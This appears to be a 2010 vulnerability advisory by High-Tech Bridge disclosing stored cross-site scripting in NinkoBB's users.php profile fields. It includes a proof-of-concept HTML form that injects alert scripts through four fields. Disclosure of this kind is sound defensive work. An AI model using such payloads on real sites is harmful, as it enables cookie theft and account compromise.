XSS in NinkoBB

Vulnerability ID: HTB22652
Reference: http://www.htbridge.ch/advisory/xss_in_ninkobb.html
Product: NinkoBB
Vendor: NinkoBB ( http://ninkobb.com )
Vulnerable Version: 1.3RC5 and probably prior versions
Vendor Notification: 13 October 2010
Vulnerability Type: XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "users.php" script to properly sanitize user-supplied input in "msn","aim","first_name" and "last_name" variables. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/users.php?a=profile&quot; method="post" />
<input type="hidden" name="first_name" value="&quot;><script>alert('XSS1');</script>">
<input type="hidden" name="last_name" value="&quot;><script>alert('XSS2');</script>">
<input type="hidden" name="msn" value="&quot;><script>alert('XSS3');</script>">
<input type="hidden" name="aim" value="&quot;><script>alert('XSS4');</script>">
<input type="submit" name="profile" value="submit">
</form>